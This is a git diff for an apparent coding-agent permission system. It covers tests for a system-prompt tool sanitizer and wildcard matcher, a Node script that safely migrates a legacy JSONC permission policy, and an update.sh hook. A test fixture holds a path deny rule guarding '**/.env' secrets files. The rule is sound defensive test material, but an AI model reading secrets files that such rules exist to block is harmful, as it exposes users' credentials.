expect(result.prompt).toContain("use bash for file operations"); - }); -}); - -describe("sanitizeAvailableToolsSection — multi-section prompt", () => { - test("collapses extra blank lines after removal", () => { - const input = prompt( - "Intro", - availableToolsSection(["bash"]), - guidelinesSection(["use bash for file operations like ls, rg, find"]), - "Closing", - ); - const result = sanitizeAvailableToolsSection(input, []); - // No run of 3+ consecutive newlines - expect(result.prompt).not.toMatch(/\n{3,}/); - }); -}); - -describe("sanitizeAvailableToolsSection — findSection boundary edge cases", () => { - test("preserves content after Guidelines when Guidelines is the last recognised section", () => { - const input = prompt( - guidelinesSection(["use bash for file operations like ls, rg, find"]), - "Trailing custom instructions", - ); - const result = sanitizeAvailableToolsSection(input, []); - expect(result.prompt).toContain("Trailing custom instructions"); - }); - - test("preserves trailing prose when both sections are removed", () => { - const input = prompt( - availableToolsSection(["bash"]), - guidelinesSection(["use bash for file operations like ls, rg, find"]), - "Important user note", - ); - const result = sanitizeAvailableToolsSection(input, []); - expect(result.removed).toBe(true); - expect(result.prompt).not.toContain("Available tools:"); - expect(result.prompt).not.toContain("Guidelines:"); - expect(result.prompt).toContain("Important user note"); - }); - - test("section at EOF is removed entirely when no tool is allowed", () => { - const input = availableToolsSection(["bash", "read"]); - const result = sanitizeAvailableToolsSection(input, []); - expect(result.removed).toBe(true); - expect(result.prompt).toBe(""); - }); - - test("section followed by blank lines then prose — prose survives removal", () => { - const input = ["Available tools:", "- bash", "", "", "Custom note"].join( - "\n", - ); - const result = sanitizeAvailableToolsSection(input, []); - expect(result.removed).toBe(true); - expect(result.prompt).toContain("Custom note"); - expect(result.prompt).not.toContain("Available tools:"); - }); -}); - -// --------------------------------------------------------------------------- -// Moved from permission-system.test.ts catch-all (#342) -// --------------------------------------------------------------------------- - -test("System prompt sanitizer keeps the active tools in the Available tools section", () => { - const prompt = [ - "Available tools:", - "- read: Read file contents", - "- mcp: Discover, inspect, and call MCP tools across configured servers", - "", - "In addition to the tools above, you may have access to other custom tools depending on the project.", - "", - "Guidelines:", - "- Use mcp for MCP discovery first: search by capability, describe one exact tool name, then call it.", - "- Be concise in your responses", - ].join("\n"); - - const result = sanitizeAvailableToolsSection(prompt, ["read", "mcp"]); - - expect(result.removed).toBe(false); - expect(result.prompt).toContain("Available tools:"); - expect(result.prompt).toContain("- read: Read file contents"); - expect(result.prompt).toContain("- mcp: Discover"); - expect(result.prompt).toContain("In addition to the tools above"); - expect(result.prompt).toMatch(/Guidelines:/); -}); - -test("System prompt sanitizer drops a denied tool's line but keeps the section", () => { - const prompt = [ - "Available tools:", - "- read: Read file contents", - "- mcp: Discover, inspect, and call MCP tools across configured servers", - "", - "Guidelines:", - "- Use mcp for MCP discovery first: search by capability, describe one exact tool name, then call it.", - "- Be concise in your responses", - ].join("\n"); - - const result = sanitizeAvailableToolsSection(prompt, ["read"]); - - expect(result.removed).toBe(true); - expect(result.prompt).toContain("Available tools:"); - expect(result.prompt).toContain("- read: Read file contents"); - expect(result.prompt).not.toContain("- mcp: Discover"); -}); - -test("System prompt sanitizer removes denied tool guidelines while keeping global guidance", () => { - const prompt = [ - "Guidelines:", - "- Use task when work SHOULD be delegated to one or more specialized agents instead of handled entirely in the current session.", - "- Use mcp for MCP discovery first: search by capability, describe one exact tool name, then call it.", - "- Prefer grep/find/ls tools over bash for file exploration (faster, respects .gitignore)", - "- Be concise in your responses", - "- Show file paths clearly when working with files", - ].join("\n"); - - const result = sanitizeAvailableToolsSection(prompt, ["bash", "grep", "mcp"]); - - expect(result.removed).toBe(true); - expect(result.prompt).not.toContain("Use task when work SHOULD"); - expect(result.prompt).toMatch(/Use mcp for MCP discovery first/i); - expect(result.prompt).toMatch(/Prefer grep\/find\/ls tools over bash/i); - expect(result.prompt).toMatch(/Be concise in your responses/); - expect(result.prompt).toMatch( - /Show file paths clearly when working with files/, - ); -}); - -test("System prompt sanitizer removes inactive built-in write guidance", () => { - const prompt = [ - "Guidelines:", - "- Use write only for new files or complete rewrites", - "- When summarizing your actions, output plain text directly - do NOT use cat or bash to display what you did", - "- Be concise in your responses", - ].join("\n"); - - const result = sanitizeAvailableToolsSection(prompt, ["read"]); - - expect(result.removed).toBe(true); - expect(result.prompt).not.toContain( - "Use write only for new files or complete rewrites", - ); - expect(result.prompt).not.toContain( - "do NOT use cat or bash to display what you did", - ); - expect(result.prompt).toMatch(/Be concise in your responses/); -}); diff --git a/pi-permission-system/test/tool-search-boundary.test.ts b/pi-permission-system/test/tool-search-boundary.test.ts new file mode 100644 index 0000000..8213051 --- /dev/null +++ b/pi-permission-system/test/tool-search-boundary.test.ts @@ -0,0 +1,21 @@ +import { readFileSync } from "node:fs"; +import { join } from "node:path"; + +import { describe, expect, it } from "vitest"; + +const permissionSources = [ + "src/index.ts", + "src/tool-registry.ts", + "src/handlers/before-agent-start.ts", +]; + +describe("Tool Search ownership boundary", () => { + it("never reads or changes Pi's active tool list", () => { + const source = permissionSources + .map((path) => readFileSync(join(process.cwd(), path), "utf8")) + .join("\n"); + + expect(source).not.toContain("getActiveTools"); + expect(source).not.toContain("setActiveTools"); + }); +}); diff --git a/pi-permission-system/test/wildcard-matcher.test.ts b/pi-permission-system/test/wildcard-matcher.test.ts index c0f5675..84716bc 100644 --- a/pi-permission-system/test/wildcard-matcher.test.ts +++ b/pi-permission-system/test/wildcard-matcher.test.ts @@ -84,7 +84,7 @@ describe("findCompiledWildcardMatch", () => { expect(findCompiledWildcardMatch(patterns, "npm install")).toBeNull(); }); - test("last-match-wins precedence: later pattern overrides earlier", () => { + test("the low-level compiled matcher returns the last matching entry", () => { const patterns = compileWildcardPatternEntries([ ["git *", "allow"], ["git push *", "deny"], @@ -95,7 +95,7 @@ describe("findCompiledWildcardMatch", () => { expect(result?.matchedPattern).toBe("git push *"); }); - test("last-match-wins: specific deny before broad allow matches the later one", () => { + test("the low-level matcher does not apply permission-rule specificity", () => { const patterns = compileWildcardPatternEntries([ ["*", "deny"], ["git status", "allow"], diff --git a/pi-subagents/README.md b/pi-subagents/README.md index 8e0b31d..dd04a81 100644 --- a/pi-subagents/README.md +++ b/pi-subagents/README.md @@ -20,7 +20,7 @@ Permission decisions remain owned by `pi-permission-system`: - an `ask` is forwarded to the root session rather than reviewed inside the child; - root whole-session rules are matched against the child-fixed access facts before another review; - root auto-review uses the root transcript, where direct human messages remain distinguishable from assistant-generated delegation prompts; -- reviewer `defer`, reviewer failure, or an approval outside the delegation envelope falls through to the root human authority; +- reviewer `allow` or `deny` is final for the forwarded ask, including `path`; reviewer `defer` or failure falls through to the root human authority; - a one-shot approval is not copied into a reusable descendant grant, so executing the same side effect twice still requires two decisions. The lifecycle channel names are an event contract only. This package does not import permission-system internals or make policy decisions itself. diff --git a/scripts/migrate-permission-policy.mjs b/scripts/migrate-permission-policy.mjs new file mode 100644 index 0000000..0b41dab --- /dev/null +++ b/scripts/migrate-permission-policy.mjs @@ -0,0 +1,236 @@ +#!/usr/bin/env node + +import { createHash } from "node:crypto"; +import { constants } from "node:fs"; +import { + chmod, + open, + readFile, + rename, + unlink, +} from "node:fs/promises"; +import { basename, dirname, join } from "node:path"; +import { fileURLToPath } from "node:url"; + +/** Semantic hash of the previously installed personal policy snapshot. */ +export const LEGACY_PERMISSION_POLICY_HASHES = new Set([ + "9abf020e80fceae8c52de3e8b758822dfc86cb90e9083381e2569dde1e29400a", +]); + +function stripJsonComments(text) { + let output = ""; + let inString = false; + let escaped = false; + let lineComment = false; + let blockComment = false; + + for (let index = 0; index < text.length; index += 1) { + const character = text[index]; + const next = text[index + 1]; + if (lineComment) { + if (character === "\n") { + lineComment = false; + output += character; + } + continue; + } + if (blockComment) { + if (character === "*" && next === "/") { + blockComment = false; + index += 1; + } + continue; + } + if (inString) { + output += character; + if (escaped) escaped = false; + else if (character === "\\") escaped = true; + else if (character === '"') inString = false; + continue; + } + if (character === '"') { + inString = true; + output += character; + } else if (character === "/" && next === "/") { + lineComment = true; + index += 1; + } else if (character === "/" && next === "*") { + blockComment = true; + index += 1; + } else { + output += character; + } + } + return output; +} + +function stripTrailingCommas(text) { + let output = ""; + let inString = false; + let escaped = false; + for (let index = 0; index < text.length; index += 1) { + const character = text[index]; + if (inString) { + output += character; + if (escaped) escaped = false; + else if (character === "\\") escaped = true; + else if (character === '"') inString = false; + continue; + } + if (character === '"') { + inString = true; + output += character; + continue; + } + if (character === ",") { + let lookahead = index + 1; + while (/\s/.test(text[lookahead] ?? "")) lookahead += 1; + if (text[lookahead] === "}" || text[lookahead] === "]") continue; + } + output += character; + } + return output; +} + +export function parseJsonc(text, label = "policy.jsonc") { + try { + return JSON.parse(stripTrailingCommas(stripJsonComments(text))); + } catch (error) { + throw new Error(`${label} is invalid JSONC: ${error instanceof Error ? error.message : String(error)}`); + } +} + +function sortJson(value) { + if (Array.isArray(value)) return value.map(sortJson); + if (value !== null && typeof value === "object") { + return Object.fromEntries( + Object.keys(value) + .sort() + .map((key) => [key, sortJson(value[key])]), + ); + } + return value; +} + +export function permissionPolicySemanticHash(text) { + const parsed = parseJsonc(text); + const canonical = JSON.stringify(sortJson(parsed)); + return createHash("sha256").update(canonical).digest("hex"); +} + +function backupTimestamp(now) { + return now.toISOString().replace(/[:.]/g, "-"); +} + +async function readFileSnapshot(path) { + const noFollow = constants.O_NOFOLLOW ?? 0; + const handle = await open(path, constants.O_RDONLY | noFollow); + try { + const info = await handle.stat(); + if (!info.isFile()) throw new Error(`policy path is not a regular file: ${path}`); + return { content: await handle.readFile("utf8"), dev: info.dev, ino: info.ino }; + } finally { + await handle.close(); + } +} + +async function writeExclusive(path, content) { + const handle = await open( + path, + constants.O_WRONLY | constants.O_CREAT | constants.O_EXCL, + 0o600, + ); + try { + await handle.writeFile(content, "utf8"); + await handle.sync(); + } finally { + await handle.close(); + } + await chmod(path, 0o600); +} + +export async function migratePermissionPolicy( + policyPath, + seedPath, + options = {}, +) { + const now = options.now ?? new Date(); + const legacyHashes = new Set( + options.legacyHashes ?? LEGACY_PERMISSION_POLICY_HASHES, + ); + let original; + try { + original = await readFileSnapshot(policyPath); + } catch (error) { + if (error?.code === "ENOENT") return { status: "missing" }; + throw error; + } + + const seedContent = await readFile(seedPath, "utf8"); + parseJsonc(seedContent, "bundled permission policy seed"); + const currentHash = permissionPolicySemanticHash(original.content); + const seedHash = permissionPolicySemanticHash(seedContent); + if (currentHash === seedHash) { + await chmod(policyPath, 0o600); + return { status: "current" }; + } + if (!legacyHashes.has(currentHash)) return { status: "custom" }; + + const backupPath = `${policyPath}.bak.${backupTimestamp(now)}`; + const temporaryPath = join( + dirname(policyPath), + `.${basename(policyPath)}.tmp.${process.pid}.${backupTimestamp(now)}`, + ); + await writeExclusive(backupPath, original.content); + + let temporaryCreated = false; + try { + await writeExclusive(temporaryPath, seedContent); + temporaryCreated = true; + if (options.beforeCommit) await options.beforeCommit(); + const current = await readFileSnapshot(policyPath); + if ( + current.dev !== original.dev || + current.ino !== original.ino || + current.content !== original.content + ) { + throw new Error( + "permission policy changed during migration; original file was preserved", + ); + } + await rename(temporaryPath, policyPath); + temporaryCreated = false; + await chmod(policyPath, 0o600); + return { status: "migrated", backupPath }; + } finally { + if (temporaryCreated) await unlink(temporaryPath).catch(() => undefined); + } +} + +async function main() { + const [policyPath, seedPath] = process.argv.slice(2); + if (!policyPath || !seedPath) { + console.error( + "usage: migrate-permission-policy.mjs ", + ); + process.exitCode = 2; + return; + } + try { + const result = await migratePermissionPolicy(policyPath, seedPath); + console.log( + result.status === "migrated" + ? `migrated:${result.backupPath}` + : result.status, + ); + } catch (error) { + console.error(error instanceof Error ? error.message : String(error)); + process.exitCode = 1; + } +} + +function isMainModule() { + return process.argv[1] && fileURLToPath(import.meta.url) === process.argv[1]; +} + +if (isMainModule()) await main(); diff --git a/tests/permission-policy-migration.test.ts b/tests/permission-policy-migration.test.ts new file mode 100644 index 0000000..207a934 --- /dev/null +++ b/tests/permission-policy-migration.test.ts @@ -0,0 +1,129 @@ +import assert from "node:assert/strict"; +import { mkdtemp, readFile, readdir, rm, stat, writeFile } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import test from "node:test"; + +import { + LEGACY_PERMISSION_POLICY_HASHES, + migratePermissionPolicy, + permissionPolicySemanticHash, +} from "../scripts/migrate-permission-policy.mjs"; + +const knownLegacyHash = + "9abf020e80fceae8c52de3e8b758822dfc86cb90e9083381e2569dde1e29400a"; + +async function fixture(t: test.TestContext) { + const directory = await mkdtemp(join(tmpdir(), "permission-policy-migration-")); + t.after(() => rm(directory, { recursive: true, force: true })); + const policyPath = join(directory, "policy.jsonc"); + const seedPath = join(directory, "seed.jsonc"); + const seed = `{ + // bundled policy + "permission": { + "*": "ask", + "read": "allow" + } +}\n`; + await writeFile(seedPath, seed, { mode: 0o600 }); + return { directory, policyPath, seedPath, seed }; +} + +test("recognizes the exact previously installed policy snapshot", () => { + assert.equal(LEGACY_PERMISSION_POLICY_HASHES.has(knownLegacyHash), true); +}); + +test("semantic hashes ignore JSONC comments, whitespace, and object key order", () => { + const left = `{ + // comment + "permission": { "read": "allow", "*": "ask" }, + "analysis": { "enabled": true } + }`; + const right = `{"analysis":{"enabled":true},"permission":{"*":"ask","read":"allow"}}`; + assert.equal(permissionPolicySemanticHash(left), permissionPolicySemanticHash(right)); +}); + +test("migrates only an exact legacy semantic snapshot and creates private files", async (t) => { + const { directory, policyPath, seedPath, seed } = await fixture(t); + const legacy = `{ + // formatting does not matter + "permission": { "*": "allow", "path": { "**/.env": "deny" } } + }\n`; + await writeFile(policyPath, legacy, { mode: 0o644 }); + + const result = await migratePermissionPolicy(policyPath, seedPath, { + legacyHashes: new Set([permissionPolicySemanticHash(legacy)]), + now: new Date("2026-09-02T03:04:05.000Z"), + }); + + assert.equal(result.status, "migrated"); + assert.equal(await readFile(policyPath, "utf8"), seed); + assert.equal((await stat(policyPath)).mode & 0o777, 0o600); + assert.ok(result.backupPath); + assert.equal(await readFile(result.backupPath!, "utf8"), legacy); + assert.equal((await stat(result.backupPath!)).mode & 0o777, 0o600); + assert.equal( + (await readdir(directory)).some((name) => name.includes(".tmp.")), + false, + ); +}); + +test("preserves customized policy content", async (t) => { + const { policyPath, seedPath } = await fixture(t); + const custom = `{"permission":{"*":"deny"}}\n`; + await writeFile(policyPath, custom, { mode: 0o600 }); + + const result = await migratePermissionPolicy(policyPath, seedPath); + + assert.deepEqual(result, { status: "custom" }); + assert.equal(await readFile(policyPath, "utf8"), custom); +}); + +test("treats the bundled seed as current and repairs its mode", async (t) => { + const { policyPath, seedPath, seed } = await fixture(t); + await writeFile(policyPath, seed, { mode: 0o644 }); + + const result = await migratePermissionPolicy(policyPath, seedPath); + + assert.deepEqual(result, { status: "current" }); + assert.equal((await stat(policyPath)).mode & 0o777, 0o600); +}); + +test("returns missing without creating a policy", async (t) => { + const { policyPath, seedPath } = await fixture(t); + assert.deepEqual(await migratePermissionPolicy(policyPath, seedPath), { + status: "missing", + }); +}); + +test("rejects invalid current JSONC without replacing it", async (t) => { + const { policyPath, seedPath } = await fixture(t); + const invalid = "{ invalid\n"; + await writeFile(policyPath, invalid, { mode: 0o600 }); + + await assert.rejects( + migratePermissionPolicy(policyPath, seedPath), + /invalid JSONC/, + ); + assert.equal(await readFile(policyPath, "utf8"), invalid); +}); + +test("aborts if the policy changes before commit", async (t) => { + const { directory, policyPath, seedPath } = await fixture(t); + const legacy = `{"permission":{"*":"allow"}}\n`; + const concurrent = `{"permission":{"*":"deny"}}\n`; + await writeFile(policyPath, legacy, { mode: 0o600 }); + + await assert.rejects( + migratePermissionPolicy(policyPath, seedPath, { + legacyHashes: new Set([permissionPolicySemanticHash(legacy)]), + beforeCommit: () => writeFile(policyPath, concurrent, "utf8"), + }), + /changed during migration/, + ); + + assert.equal(await readFile(policyPath, "utf8"), concurrent); + const entries = await readdir(directory); + assert.equal(entries.some((name) => name.includes(".bak.")), true); + assert.equal(entries.some((name) => name.includes(".tmp.")), false); +}); diff --git a/tests/tool-search-settings-migration.test.ts b/tests/tool-search-settings-migration.test.ts index d30b54e..d04d27e 100644 --- a/tests/tool-search-settings-migration.test.ts +++ b/tests/tool-search-settings-migration.test.ts @@ -137,6 +137,14 @@ async function updateFixture(t: test.TestContext, piExitStatus = 0) { join(repositoryRoot, "scripts", "migrate-tool-search-settings.mjs"), join(updatedBundle, "scripts", "migrate-tool-search-settings.mjs"), ); + await copyFile( + join(repositoryRoot, "config", "pi-permission-policy.jsonc"), + join(updatedBundle, "config", "pi-permission-policy.jsonc"), + ); + await copyFile( + join(repositoryRoot, "scripts", "migrate-permission-policy.mjs"), + join(updatedBundle, "scripts", "migrate-permission-policy.mjs"), + ); await writeFile( join(bin, "pi"), `#!/bin/sh\nprintf 'pi %s\\n' "$*" >> "$MOCK_PI_LOG"\nexit ${piExitStatus}\n`, diff --git a/update.sh b/update.sh index 5dfed2f..2ba31c8 100755 --- a/update.sh +++ b/update.sh @@ -144,6 +144,51 @@ migrate_tool_search_settings() { esac } +migrate_permission_policy() { + policy_file=${PI_CODING_AGENT_DIR:-$HOME/.pi/agent}/extensions/pi-permission-system/policy.jsonc + if [ ! -e "$policy_file" ]; then + say "- Permission System policy.jsonc 尚不存在;扩展将在下次加载时部署当前种子。" + return 0 + fi + if [ -z "${updated_bundle_dir:-}" ] || \ + [ ! -f "$updated_bundle_dir/scripts/migrate-permission-policy.mjs" ] || \ + [ ! -f "$updated_bundle_dir/config/pi-permission-policy.jsonc" ]; then + warn "无法定位升级后组合包中的 Permission System 策略迁移文件,已保留现有配置。" + return 1 + fi + if ! command -v node >/dev/null 2>&1; then + warn "缺少 node,无法安全迁移 Permission System 策略,已保留现有配置。" + return 1 + fi + + permission_migration=$(node \ + "$updated_bundle_dir/scripts/migrate-permission-policy.mjs" \ + "$policy_file" \ + "$updated_bundle_dir/config/pi-permission-policy.jsonc") || { + warn "Permission System 策略迁移失败,已保留现有配置。" + return 1 + } + case $permission_migration in + migrated:*) + permission_backup=${permission_migration#migrated:} + say "✓ Permission System 策略已切换到当前种子;旧文件备份:$permission_backup" + ;; + current) + say "- Permission System 策略已是当前种子。" + ;; + custom) + say "- Permission System 策略包含自定义内容,已原样保留。" + ;; + missing) + say "- Permission System policy.jsonc 尚不存在;扩展将在下次加载时部署当前种子。" + ;; + *) + warn "Permission System 策略迁移返回未知状态,已停止受管同步。" + return 1 + ;; + esac +} + resolve_zsh_paths() { oh_my_zsh_dir=${ZSH:-$HOME/.oh-my-zsh} zsh_custom_dir=${ZSH_CUSTOM:-$oh_my_zsh_dir/custom} @@ -497,6 +542,7 @@ else fi select_updated_bundle_config || exit 1 migrate_tool_search_settings || record_update_failure "Tool Search 用户配置" +migrate_permission_policy || record_update_failure "Permission System 用户策略" say "组合包升级完成,开始升级已安装的终端环境和机器级 CLI;未安装项将直接跳过。" update_kitty || record_update_failure "Kitty"